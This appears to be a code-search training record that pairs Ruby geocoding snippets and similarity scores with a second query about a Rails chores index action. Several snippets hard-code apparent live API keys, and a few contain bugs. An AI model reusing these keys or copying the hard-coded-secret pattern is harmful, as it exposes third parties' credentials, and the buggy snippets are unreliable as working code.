"def coordinates_url latitude, longitude\n \"https://www.google.com/maps/search/?api=1&query=#{latitude}%2C#{longitude}\"\n end",
"def geocode(lat, lon, options = {})\n new(options.merge(lat: lat, lon: lon)).retrieve\n end",
"def convert_google_to_baidu(lng, lat)\n url = 'http://api.map.baidu.com/ag/coord/convert?from=2&to=4&x=' + lng.to_s + '&y=' + lat.to_s\n decoded = call_api(url)\n ret = {}\n\n if decoded['error'] == 0 then\n ret['lng'] = Base64.decode64(decoded['x'])\n ret['lat'] = Base64.decode64(decoded['y'])\n end\n\n return ret\nend",
"def get_lat_long(doc) \r\n\tscript1 = doc.css('body #container #content script')[1]\r\n\tlat_lon = /\"latitude\":\"(\\d+\\.\\d+)\",\"longitude\":\"(-\\d+\\.\\d+)\"/.match(script1.to_s)\r\n\t# puts \"lat is #{lat_lon[1]} long is #{lat_lon[2]} \"\r\n end",
"def get_coords(address)\n\n # Initiate @retries to 0 unless running method recursively\n unless caller[0][/`.*'/][1..-2] == __method__.to_s\n @retries = 0\n end\n\n name = address.split(\",\")[0]\n puts \"Getting coords for #{address}...\"\n\n # Get json from API call for specified location\n uri = URI(\"https://maps.googleapis.com/maps/api/geocode/json?address=\" + CGI.escape(\"#{address}\"))\n json = Net::HTTP.get(uri)\n out = JSON.parse(json)\n\n sleep 0.3\n\n # Recursively call method again if error is returned\n if out[\"status\"] != \"OK\"\n # Exit with error after too many retries\n if @retries > 3\n @errors.push(\"Error getting coords for: #{address[0]}\")\n return [name, address, \"ERROR\", \"ERROR\"]\n end\n\n @retries += 1\n return get_coords(address)\n end\n\n # Grab lat/lng from API output\n lat = out[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n lng = out[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\n return [name, address, lat, lng]\nend",
"def getGoogleGeoByAddress(street, csz)\r\n address_str = [street, csz].join(\" \")\r\n base_url = \"https://maps.googleapis.com/maps/api/geocode/json?address=#{address_str}&key=#{GOOGLE_TOKEN}\"\r\n\r\n # Get the response\r\n uri = URI.parse(URI.escape(base_url))\r\n response = Net::HTTP.get(uri)\r\n json_result = JSON.parse(response)\r\n\r\n # ERROR CATCH\r\n return nil if json_result[\"status\"] == \"INVALID REQUEST\"\r\n\r\n place_results = json_result[\"results\"][0]\r\n\r\n # Define place id\r\n place_id = place_results[\"place_id\"]\r\n\r\n # Collect unit number (if applicable)\r\n address_components = json_result[\"results\"][0][\"address_components\"]\r\n address_components.each { |c| place_id += \"+#{c[\"long_name\"]}\" if c[\"types\"][0] == \"subpremise\" }\r\n\r\n geo_data = {:placeId => place_id,\r\n :lat => place_results[\"geometry\"][\"location\"][\"lat\"],\r\n :lon => place_results[\"geometry\"][\"location\"][\"lng\"],\r\n :format_add => place_results[\"formatted_address\"]}\r\n\r\n return geo_data\r\n end",
"def geocode\n # address must note be blank start with a number\n return if address.index(/[1-9]/).nil?\n return if full_address.blank?\n return if not lat.nil? and not lng.nil?\n url = \"http://geocoder.ca/?locate=#{CGI.escape self.full_address}&geoit=xml&jsonp=1&auth=#{GEOCODER_CA_KEY}&callback=?\"\n # get the response and cut off the jsonp\n response = Curl.get(url).body_str.from(2).to(-3)\n json = JSON.parse response\n self.lng = json[\"longt\"]\n self.lat = json[\"latt\"]\n end",
"def get_coords(address = '', token = '')\n # Change spaces to + to create a safe URLstring\n address = address.strip.gsub(/\\s/, '+')\n\n # API-URL for fetching the addresses geo-location\n url = \"https://api.tiles.mapbox.com/v4/geocode/mapbox.places/farmington,87401,#{address}.json?proximity=-108.20833683013916,36.73038906153143&access_token=#{token}\"\n\n # Output address of where the crime occurred\n puts \"Address: #{address}\"\n\n # get URL Response\n response = open(url).read\n\n # Process response at JSON rather than plain text\n results = JSON.parse(response)\n\n coords = []\n if !results['features'][0].nil?\n coords[0] = results['features'][0]['geometry']['coordinates'][0]\n coords[1] = results['features'][0]['geometry']['coordinates'][1]\n else\n coords = [0, 0]\n end\n\n coords\nend",
"def tryWorldKit(location)\n url = getWorldKitURL(location)\n if url\n xml_data = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(xml_data)\n if doc.elements[\"*/geo:Point/geo:long\"]\n long = doc.elements[\"*/geo:Point/geo:long\"].text\n lat = doc.elements[\"*/geo:Point/geo:lat\"].text\n return [lat, long]\n else\n return nil\n end\n else\n return nil\n end\n end",
"def geo_location\n begin\n # Get Comma seperated coordinates and return as hash\n coordinates = @result[\"ipLocation\"][\"pointProperty\"][\"Point\"][\"coordinates\"].split(',')\n return { long: coordinates[0], lat: coordinates[1] }\n rescue \n raise \"geo location unknown\"\n end\n end",
"def get( lat, long )\n xml = @client.get( lat, long)\n Placemark.new( xml )\n end",
"def geoCode(postal)\n\turl = \"https://maps.googleapis.com/maps/api/geocode/json?address=\" + postal + \"&key=AIzaSyBZqs-MS-5WyI9s-eS2Bx3wEemC5gzlhqc\"\n\turi = URI(url)\n\tresponse = Net::HTTP.get(uri)\n\tgeoInfo = JSON.parse(response)\n\treturn geoInfo\nend",
"def getlocation\r\n @myip = remote_ip()\r\n # based off freegeoip.net is really terrible\r\n result = Geocoder.search(@myip)\r\n @mylat = result.latitude\r\n @mylong = result.longitude\r\n @mycity = result.address\r\n #51.243048, -0.588458\r\n end",
"def get_location(str)\n u=URI.encode(\"http://maps.google.com/maps/api/geocode/xml?sensor=false&address=#{str}\")\n loc=(Hpricot.XML(open(u)))/'//location'\n h={} \n h['lat']=(loc/:lat).inner_text\n h['lng']=(loc/:lng).inner_text\n h\n end",
"def get_info(lat, lon)\n Net::HTTP.get(URI(\"https://api.3geonames.org/#{lat},#{lon}.json\"))\nend",
"def geolocation\n response = HTTParty.post(\"https://www.googleapis.com/geolocation/v1/geolocate?key=#{ENV['GEO_API_KEY']}\")\n end",
"def get_coords(address)\n coords = Geocoder.search(address)\n location = self.location\n if coords.length === 0 \n coords = Geocoder.search(self.name)\n end\n debugger\n self.lat ||= coords.first.coordinates[0]\n self.lng ||= coords.first.coordinates[1]\n end",
"def get_coords(address)\n coords = Geocoder.search(address)\n if coords.length === 0 \n coords = Geocoder.search(self.name)\n end\n debugger\n self.lat ||= coords.first.coordinates[0]\n self.lng ||= coords.first.coordinates[1]\n end",
"def gps_api_fetch(latitude, longitude)\n \n HTTParty.get(\"https://api.openweathermap.org/data/2.5/weather?lat=#{latitude}&lon=#{longitude}&APPID=#{APPID}&units=imperial\")\n end",
"def geocodeAddress address\n \t logger.debug address\n \t result = HTTParty.get(\"http://maps.googleapis.com/maps/api/geocode/json\",\n \t :query => {\n \t :address => address,\n \t :sensor => false \n \t })\n \t \n \t logger.debug \"address geocoded ***********\"\n \t logger.debug result\n \t logger.debug result.parsed_response[\"results\"][0][\"geometry\"][\"location\"]\n \t \n \t return result.parsed_response[\"results\"][0][\"geometry\"][\"location\"]\n \tend",
"def get_longitude\n get_coord['lon']\n end",
"def geolocate(location)\n\t\tkey = \"f94d9fe40481b0a044edc8f729724335\"\n\t\tlocation = URI.escape(location, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n\t\t# location = CGI.escape(location)\n\t\t# location = URI.escape(location)\n\t\thost = \"ondemand.metacarta.com\"\n\t\tpath = \"/webservices/GeoTagger/JSON/basic?version=1.0.0\"\n\t\tpath = \"#{path}&doc=#{location}\"\n\t\tdata = {}\n\t\tbegin\n\t\t\treq = Net::HTTP::Get.new(path)\n\t\t\treq.basic_auth SITE_METACARTA_USERID, SITE_METACARTA_PASSWORD\n\t\t\thttp = Net::HTTP.start(host)\n\t\t\t#if response.is_a?(Net::HTTPSuccess)\n\t\t\t\tresponse = http.request(req)\n\t\t\t\tdata = JSON.parse(response.body)\n\t\t\t#end\n\t\trescue Timeout::Error\n\t\t\t# DO SOMETHING WISER\n\t\t\treturn 0,0\n\t\trescue\n\t\t\treturn 0,0\n\t\tend\n\t\tbegin\n\t\t\tlat = data[\"Locations\"][0][\"Centroid\"][\"Latitude\"]\n\t\t\tlon = data[\"Locations\"][0][\"Centroid\"][\"Longitude\"]\n\t\t\treturn lat,lon\n\t\trescue\n\t\tend\n\t\treturn 0,0\n\tend",
"def get_location(loc)\n geo = Geocoder.search(\"#{loc} seattle\")\n lat = geo[0].latitude\n lon = geo[0].longitude\n [lon, lat]\n end",
"def get_location(place)\n\t\tsleep(1.5)\n\t\tlocation = Geocoder.search(place)\n\t\t#puts location.inspect\n\t\tif !location.empty?\n\t\t\tlocation_geometry = location.first.geometry\n\t\t\tlocation_bounds = location_geometry['bounds']\n\t\t\tif !location_bounds.nil?\n\t\t\t\tlat_range = Range.new(location_geometry['location']['lat'], location_geometry['bounds']['northeast']['lat'])\n\t\t\t\tlong_range = Range.new(location_geometry['location']['lng'], location_geometry['bounds']['northeast']['lng'])\n\t\t\telse\n\t\t\t\tlat_range = Range.new(location_geometry['location']['lat'], location_geometry['viewport']['northeast']['lat'])\n\t\t\t\tlong_range = Range.new(location_geometry['location']['lng'], location_geometry['viewport']['northeast']['lng'])\n\t\t\tend\n\t\t\tif !location.nil?\n\t\t\t\t@user_location_lat = rand(lat_range).round(7)\n\t\t\t\t@user_location_long = rand(long_range).round(7)\n\t\t\telse\n\t\t\t\t@user_location_lat = \"here\"\n\t\t\t\t@user_location_long = \"here\"\n\t\t\tend\n\t\telse\n\t\t\t@user_location_lat = \"no data\"\n\t\t\t@user_location_long = \"no data\"\n\t\tend\n\tend",
"def getCoordinates(geoCodeResponse)\n\tcoordinates = {}\n\tcoordinates[lat:] = geoCodeResponse[\"results\"][0][\"geometry\"][\"location\"][\"lat\"].to_s\n\tcoordinates[lng:] = getCodeResponse[\"results\"][0][\"geometry\"][\"location\"][\"lng\"].to_s\n\treturn coordinates\nend",
"def get_latitude\n get_coord['lat']\n end",
"def lat_lng\n lng_lat.reverse\n end",
"def get_address_coordinates(street, city)\n # puts \"got in get_location_coordinates\"\n # puts \"inside get_coordinates #{street}\"\n # puts \"inside get_coordinates #{city}\"\n\n coordinate_results = Geocoder.search(\"#{street}, #{city}\")\n\n # puts \"the results are #{coordinate_results}\"\n coordinate_results_lat = coordinate_results[0].data[\"geometry\"][\"location\"][\"lat\"]\n coordinate_results_lng = coordinate_results[0].data[\"geometry\"][\"location\"][\"lng\"]\n # puts \"final coordinates are #{coordinate_results_lat}, #{coordinate_results_lng}\"\n # return_result = \"\\\"#{coordinate_results_lat}, #{coordinate_results_lng}\\\"\"\n return coordinate_results_lat, coordinate_results_lng\n #binding.pry\nend",
"def viewMapByAddress(address, callback)\n puts \"viewMapByAddress(address:#{address}, callback:#{callback}\"\n\n url = \"http://maps.google.com/maps/api/geocode/json?\" +\n \"address=#{address}&\" +\n \"sensor=true\"\n #puts url\n\n res = Rho::AsyncHttp.get(\n :url => url,\n #:headers => {\"Cookie\" => cookie},\n )\n #puts res.inspect\n\n if res[\"status\"] == \"ok\" # && res[\"body\"][\"status\"] == \"OK\"\n #puts res[\"body\"].inspect\n #puts res[\"body\"][\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n #puts res[\"body\"][\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\n to_lat = res[\"body\"][\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n to_lng = res[\"body\"][\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n else\n to_lat = '34.4893270'\n to_lng = '133.3614320'\n end\n\n viewMap address, to_lat, to_lng, callback\n end",
"def geocode(location)\n sanitized_location = URI.escape(location)\n api_uri = URI.parse(\"http://nominatim.openstreetmap.org/search/#{sanitized_location}?format=json\")\n\n city_data = JSON.parse(Net::HTTP.get(api_uri)).first\n\n latitude = city_data['lat'].to_f\n longitude = city_data['lon'].to_f\n\n return [latitude, longitude]\n end",
"def get_location(photo_id)\n # begin\n rsp = @flickr.send_request('flickr.photos.geo.getLocation', {:photo_id => photo_id})\n Flickr::Photos::Location.new(:latitude => rsp.photo.location[:latitude].to_f,\n :longitude => rsp.photo.location[:longitude].to_f, :accuracy => rsp.photo.location[:accuracy].to_i)\n end",
"def getToolsGeocode( building_number, address1, address2, address3, district, town, county, province, postcode, country)\n params = Hash.new\n params['building_number'] = building_number\n params['address1'] = address1\n params['address2'] = address2\n params['address3'] = address3\n params['district'] = district\n params['town'] = town\n params['county'] = county\n params['province'] = province\n params['postcode'] = postcode\n params['country'] = country\n return doCurl(\"get\",\"/tools/geocode\",params)\n end",
"def gmaps4rails_address\n \"#{latitude}, #{longitude}\"\n end",
"def get_zip_coords_from_mapquest(zipcode)\n response = HTTParty.get(\n 'http://open.mapquestapi.com/geocoding/v1/address',\n query: {\n key: 'A4F1XOyCcaGmSpgy2bLfQVD5MdJezF0S',\n postalCode: zipcode,\n country: 'USA',\n thumbMaps: false\n }\n )\n\n # coords = response.deep_symbolize_keys&.dig(:results)&.first&.dig(:locations).first&.dig(:latLng)\n coords = response[\"results\"].first[\"locations\"].first[\"latLng\"]\n\nend",
"def geo(place_id)\n get \"/geo/id/#{place_id}.json\"\n end",
"def location\n [lat.to_f / 100_000, lng.to_f / 100_000]\n end",
"def geocode(address)\r\n\t\r\n\t\turi = URI.encode(\"#{@@google_base_url}#{address}\")\r\n\t\turl = URI.parse(uri)\r\n\t\thttp = Net::HTTP.new(url.host, url.port)\r\n\t\trequest = Net::HTTP::Get.new(url.request_uri)\r\n\t\tresponse = http.request(request)\t\r\n\t\t# throws exception\r\n\t\traise \"Bad response, code #{response.code}\" if response.code != \"200\"\r\n\t\t\r\n\t\t# result returned from Google Geocoding API\r\n\t\tresult = response.body\r\n\t\tjson_parsed = JSON.parse(result)\r\n\t\t\r\n\t\treturn json_parsed\r\n\tend",
"def location\n b = []\n b << latitude\n b << longitude\n Geocoder.coordinates(b)\n end",
"def get( lat, long )\n @curl.http_post(\n Curl::PostField.content( 'appid', YahooGeo::api_key ),\n Curl::PostField.content( 'autoDisambiguate', 'true' ),\n Curl::PostField.content( 'outputType', 'xml' ),\n Curl::PostField.content( 'documentType', 'text/html' ),\n Curl::PostField.content( 'documentContent', \"<meta name=\\\"ICBM\\\" content=\\\"#{lat}, #{long}\\\">\" )\n )\n\n if @curl.response_code != 200 then\n # there must be a better way to get the response message\n h = @curl.header_str.split(/\\r\\n/)[0].split\n msg = h[2..h.length].join( ' ' )\n parse_error( @curl.response_code, msg )\n else\n @curl.body_str\n end\n end",
"def legislators_by_geocode(longitude, latitude)\n response = RestClient.get BASE_URL + '/legislators/geo/',\n params: { long: longitude, lat: latitude, apikey: API_KEY }\n data = JSON.load(response)\n end",
"def find_lat_long(sites)\n sites.each do |site|\n if site.zip\n location_input = site.zip\n elsif site.state\n location_input = \"#{site.city}, #{site.state}\"\n else\n location_input = \"#{site.city}, #{site.country}\"\n end\n coordinates = Geocoder::Calculations.extract_coordinates(location_input)\n site.latitude = coordinates[0]\n site.longitude = coordinates[1]\n site.save\n end\nend",
"def where_geocoder(query, near = nil)\n url = URI.parse GOOGLE_GEOCODER_URI\n near_query = nil\n if near && near.kind_of?(Hash)\n #near_query = \"ll=#{near[:latitude]},#{near[:longitude]}&spn=#{near[:span_latitude]},#{near[:span_longitude]}&gl=#{near[:country]}\" \n #near_query = \"ll=#{near[:latitude]},#{near[:longitude]}&spn=#{near[:span_latitude]},#{near[:span_longitude]}\" \n #near_query = \"gl=UK\"\n end\n \n response = Net::HTTP.start(url.host, url.port) do |http|\n http.get(\"#{GEOCODER_QUERY_STRING}#{CGI.escape(query)}&#{near_query}\")\n end\n\n results = JSON.parse(response.body)['Placemark']\n \n unless results.nil? || results.empty?\n results.map do |result|\n if result['AddressDetails'] && result['AddressDetails']['Accuracy'].to_i >= 0\n p = { :name => result['address'] }\n\n p[:address] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['Thoroughfare']['ThoroughfareName'] rescue nil\n p[:city] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['LocalityName'] rescue nil\n p[:region] = result['AddressDetails']['Country']['AdministrativeArea']['AdministrativeAreaName'] rescue nil\n p[:country] = result['AddressDetails']['Country']['CountryNameCode'] rescue nil\n p[:postal_code] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['PostalCode'] rescue nil\n p[:latitude] = result['Point']['coordinates'][1].to_f rescue nil\n p[:longitude] = result['Point']['coordinates'][0].to_f rescue nil\n p[:accuracy] = result['AddressDetails']['Accuracy'].to_i rescue nil\n p[:zoom] = ZOOM_FROM_ACCURACY[result['AddressDetails']['Accuracy'].to_i] #rescue 0\n\n p\n else\n nil\n end\n end\n else\n []\n end\n end",
"def places(lat, lng)\n response = HTTParty.post(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{lat},#{lng}&radius=500&type=cafe&key=#{ENV['PLACES_API_KEY']}\")\n return response['results'][1]\n end",
"def my_location\n freegeoip.get '/json/'\nend",
"def get(geo_place)\n url = \"http://geocode-maps.yandex.ru/1.x/?format=json&geocode=#{URI.escape( geo_place )}&key=#{@api_key}\" \n #url = \"http://geocode-maps.yandex.ru/1.x/?format=json\" \n @json = open(url).read\n end",
"def lat_lon\n [lat, lon]\n end",
"def longitude; end",
"def set_lat_lng_from_location\n lat_lng = Geokit::LatLng.normalize(self.location)\n if lat_lng\n self.lat = lat_lng.lat\n self.lng = lat_lng.lng\n else\n self.lat, self.lng = query_location_lat_long\n end\n end",
"def geocode_of_site(url)\n get_geo_info(url)['results'][0]['geometry']['location']\n end",
"def to_latlong\n end",
"def geocode(options)\n response = client.get(GEOCODE_ENDPOINT, options)\n\n response.errors? && build_error_from(response.items.first) || build_location_from(response.items.first)\n end",
"def get_and_save_latlng\n\t\tlatlng = get_latlng\n\t\tcreate_coordinate(lat: latlng[0], lng: latlng[1])\n\tend",
"def maps_api_location\n \"#{self.city}+#{self.state.sub(\"International\", \"\")}\".sub(\" \", \"+\")\n end",
"def get_location\n @lat, @lng = request.location.try(:latitude), request.location.try(:longitude) \n end",
"def user_location\n return JSON.parse open(\"http://freegeoip.net/json\").read\nend",
"def lng(options={})\n to_latlng(options).lng\n end",
"def send_request\n if latitude && longitude\n response = RestClient::Request.execute(\n method: :get,\n url: \"http://climateapi.scottpinkelman.com/api/v1/location/#{latitude}/#{longitude}\"\n )\n parsed = JSON.parse(response)\n self.climate_zone = parsed[\"return_values\"][0][\"koppen_geiger_zone\"]\n else\n p \"Unable to get geocoding location\"\n end\n end",
"def reverse_geocode(ll, options={}, async = true)\n request(\"/Locations/#{ll}\", {:query => {:key => @key}}, async)\n end",
"def set_address\n url = URI.parse(\"http://maps.googleapis.com/maps/api/geocode/json?latlng=#{self.latitude},#{self.longitude}&sensor=true\")\n req = Net::HTTP::Get.new(url.to_s)\n req.use_ssl = true if url.scheme == 'https'\n res = Net::HTTP.start(url.host, url.port) { |http|\n http.request(req)\n }\n result = JSON.parse(res.body)\n self.address = result['results'][0]['formatted_address'] rescue \"Not Found\"\n end",
"def ll\n \"#{lat},#{lng}\"\n end",
"def ll\n \"#{lat},#{lng}\"\n end",
"def get_coords(_ip_addr)\n g = GeoIP.new('GeoLiteCity.dat').city(_ip_addr)\n [g.latitude, g.longitude]\n end",
"def longitude\n longitude_times_1000000.nil? ? nil : longitude_times_1000000 / 1_000_000.0\n end",
"def get_coordinates\n if self.country_status == 'closed'\n self.latitude = nil\n self.longitude = nil\n else\n q = self.city || ''\n q += ','+self.state if self.state\n q += ','+self.country\n begin\n self.latitude, self.longitude = Geocoder.coordinates(q)\n # We need to make sure that that no 2 projects have exactly the same\n # coordinates. If they do, they will overlap on the flash map and\n # you won't be able to click on one of them.\n while SpProject.where(['latitude = ? and longitude = ?', self.latitude, self.longitude]).first\n delta_longitude, delta_latitude = 0,0\n delta_longitude = rand(6) - 3 while delta_longitude.abs < 2\n delta_latitude = rand(6) - 3 while delta_latitude.abs < 2\n # move it over a little.\n self.longitude += delta_longitude.to_f/10\n self.latitude += delta_latitude.to_f/10\n end\n rescue => e\n Airbrake.notify_or_ignore(e, :parameters => attributes)\n end\n end\n true\n end",
"def create_waypoint(city, state)\n url = \"http://local.yahooapis.com/MapsService/V1/geocode?appid=#{APP_ID}\"\n res = Net::HTTP.get(URI.parse( URI.escape(url + \"&state=#{state}&city=#{city}\") ))\n \n lat = res.slice(/Latitude\\>(.*)\\<\\/Latitude/,1)\n lon = res.slice(/Longitude\\>(.*)\\<\\/Longitude/,1)\n point = Waypoint.new :name=>city, :lon=>lon, :lat=>lat\n puts point\n point\nend",
"def latitude\n latitude_times_1000000.nil? ? nil : latitude_times_1000000 / 1_000_000.0\n end",
"def extract_latlng(params)\n lat = params.delete('pio_latitude')\n lng = params.delete('pio_longitude')\n params['pio_latlng'] = \"#{lat},#{lng}\" if lat && lng\n return params['pio_latlng']\n end",
"def geocode_address\n geo=Geokit::Geocoders::GoogleGeocoder.geocode(address)\n errors.add(:address, \"Could not Geocode address\") if !geo.success\n self.lat, self.lng = geo.lat,geo.lng if geo.success\n end",
"def get_geoloc(ip)\n\t\trec = self.get_all ip\n\t\treturn [rec.longitude,rec.latitude]\n\tend",
"def lat\n @position[0]\n end",
"def geocode\n do_lookup(false) do |o,rs|\n if r = rs.first\n unless r.coordinates.nil?\n o.__send__ \"#{self.class.geocoder_options[:coordinates]}=\", r.coordinates.reverse\n end\n r.coordinates\n end\n end\n end",
"def extract_coordinates(parsed)\n parsed['results'].first['geometry']['location']\nend",
"def viewMap(address, to_lat, to_lng, callback)\n puts \"viewMap(address:#{address}, to_lat:#{to_lat}, to_lng:#{to_lng}, callback:#{callback}\"\n\n if GeoLocation.known_position?\n from_lat = GeoLocation.latitude\n from_lng = GeoLocation.longitude\n else\n from_lat = 34.3932857\n from_lng = 132.4705439\n from_lat = 34.4893270\n from_lng = 133.3614320\n from_lat = 35.005018\n from_lng = 135.889155\n end\n\n if callback\n #GeoLocation.set_notification(url_for(:action => :geo_callback), \"\")\n GeoLocation.set_notification(callback, \"\")\n end\n\n puts \"from:#{from_lat},#{from_lng} => to:#{to_lat},#{to_lng}\"\n puts \"distance: #{GeoLocation.haversine_distance(from_lat,from_lng,to_lat,to_lng)}\"\n\n #region = [@params['latitude'], @params['longitude'], 1/69.0, 1/69.0] #miles\n #region = [@params['latitude'], @params['longitude'], 1/111.0, 1/111.0] #km\n region = [(to_lat + from_lat) / 2, (to_lng + from_lng) / 2,\n (to_lat - from_lat).abs, (to_lng - from_lng).abs]\n\n url = \"http://maps.google.jp/maps/api/directions/json?\" +\n \"origin=#{from_lat},#{from_lng}&\" +\n \"destination=#{to_lat},#{to_lng}&\" +\n \"mode=walking&\" +\n \"language=ja&\" +\n \"sensor=true\"\n #puts url\n\n res2 = Rho::AsyncHttp.get(\n :url => url,\n #:headers => {\"Cookie\" => cookie},\n )\n #puts res2.inspect\n #puts res2[\"status\"]\n\n# if res2[\"status\"] == \"ok\"\n# end\n\n myannotations = []\n\n #puts res2[\"body\"].inspect\n #puts res2[\"body\"][\"status\"]\n #puts res2[\"body\"][\"routes\"].size\n #puts res2[\"body\"][\"routes\"][0][\"legs\"].size\n #puts res2[\"body\"][\"routes\"][0][\"legs\"][0][\"steps\"].size\n\n res2[\"body\"][\"routes\"][0][\"legs\"][0][\"steps\"].each do |step|\n #puts step.inspect\n\n title = step[\"html_instructions\"]\n title = title.gsub(/\\<\\/?[bB]\\>/, \"\")\n #puts title\n\n myannotations << {\n :latitude => step[\"start_location\"][\"lat\"],\n :longitude => step[\"start_location\"][\"lng\"],\n :title => title,\n :subtitle => step[\"distance\"][\"text\"],\n #:url => \"/app/GeoLocation/show?city=Original Location\",\n #:image => '/public/images/marker_blue.png', :image_x_offset => 8, :image_y_offset => 32\n }\n end\n\n myannotations << {\n :latitude => to_lat,\n :longitude => to_lng,\n :title => address,\n #:subtitle => @params['map']['address'],\n #:url => \"/app/GeoLocation/show?city=Original Location\"\n }\n\n map_params = {\n #:provider => \"Google\",\n :provider => \"ESRI\",\n :settings => {\n #:map_type => \"roadmap\",\n :map_type => \"standard\",\n :region => region,\n :zoom_enabled => true, :scroll_enabled => true, :shows_user_location => true,\n #:api_key => '0jDNua8T4Teq0RHDk6_C708_Iiv45ys9ZL6bEhw'\n },\n :annotations => myannotations\n }\n\n #puts map_params.inspect\n puts \"-------------------------\"\n MapView.create map_params\n end",
"def getWeather(latlong)\n\nthe_latitude = latlong[0]\nthe_longitude = latlong[1]\nurl = \"https://api.forecast.io/forecast/5aa54c83e7ecb48281605efa3bc96e2b/#{the_latitude},#{the_longitude}\"\n\nraw_data = open(url).read\nparsed = JSON.parse(raw_data)\n\nreturn parsed\nend",
"def api_key\n Rails.application.secrets.google_geocode_key\n end",
"def locate(latitude,longitude)\n get escape(\"lat=#{latitude}&lon=#{longitude}\")\n end",
"def get_location_info(zip)\n url_string = \"https://offer-demo.adcrws.com/v1/geolocation.json?access_token=#{ENV['ACCESS_DEVELOPMENT_TOKEN']}&search=#{zip}\"\n url_response = UrlRequest.send_request(url_string)\n json_data = JsonParser.decode(url_response)\n @lat = json_data['location'][0]['geometry']['location']['lat']\n @lon = json_data['location'][0]['geometry']['location']['lng']\n @city = json_data['location'][0]['formatted_address'].split(\",\").first\n end",
"def get_location\n as_json(get_results('/locations.json'))\n end"
] | [
"0.80758435",
"0.7882811",
"0.7423059",
"0.736033",
"0.73394614",
"0.7172164",
"0.7158358",
"0.70930356",
"0.70808554",
"0.70366",
"0.6963212",
"0.69458073",
"0.6872593",
"0.68240243",
"0.6811838",
"0.6769961",
"0.6768718",
"0.6767218",
"0.6739678",
"0.67289066",
"0.6652707",
"0.66399145",
"0.663686",
"0.66149366",
"0.6608014",
"0.65768814",
"0.6533555",
"0.65330046",
"0.6526391",
"0.6514295",
"0.65037805",
"0.6501471",
"0.6494289",
"0.64858216",
"0.6483895",
"0.6482099",
"0.64780384",
"0.647424",
"0.63979906",
"0.6382399",
"0.637393",
"0.63660324",
"0.6329167",
"0.6328975",
"0.63184553",
"0.6309574",
"0.6294997",
"0.6290874",
"0.6277586",
"0.6259211",
"0.6247316",
"0.6243326",
"0.6208457",
"0.6203985",
"0.61946803",
"0.6193831",
"0.61435145",
"0.6108094",
"0.6104993",
"0.60983676",
"0.6097096",
"0.60549307",
"0.6054775",
"0.60536313",
"0.60523367",
"0.60500723",
"0.60376734",
"0.6037302",
"0.601324",
"0.60131484",
"0.6003995",
"0.60027015",
"0.5991434",
"0.5988806",
"0.5987353",
"0.5982294",
"0.5980587",
"0.59739864",
"0.5966548",
"0.59654415",
"0.5959583",
"0.5957077",
"0.5957077",
"0.5953205",
"0.5952406",
"0.5949176",
"0.5939523",
"0.593508",
"0.5924635",
"0.5921471",
"0.59186995",
"0.59158325",
"0.5915244",
"0.5907746",
"0.59069586",
"0.5893813",
"0.5891848",
"0.58817464",
"0.5881608",
"0.5877773"
] | 0.6053369 | 64 |
GET /chores GET /chores.json | def index
if params[:inactive]
@chores = @dwelling.chores.inactive
else
@chores = @dwelling.chores.active
end
respond_to do |format|
format.html # index.html.erb
format.json { render json: @chores }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def index\n @simple_chores = SimpleChore.all\n respond_to do |format|\n format.html\n format.json { render :json => @simple_chores }\n end\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chore }\n end\n end",
"def show\n @trecho = Trecho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trecho }\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chore }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @chore }\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @chore }\n end\n end",
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end",
"def index\n @chores = Chore.all\n end",
"def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end",
"def index\n @choices = Choice.all\n\n render json: @choices\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def show\n @recoleccion = Recoleccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recoleccion }\n end\n end",
"def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
"def index\n @chargers = Charger.all\n render json: @chargers\n end",
"def show\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relogio }\n end\n end",
"def index\n @heroes = Hero.all\n\n render json: @heroes\n end",
"def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end",
"def show\n @cartucho = Cartucho.find(params[:id])\n @historials [email protected]\n @historial = Historial.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartucho }\n end\n end",
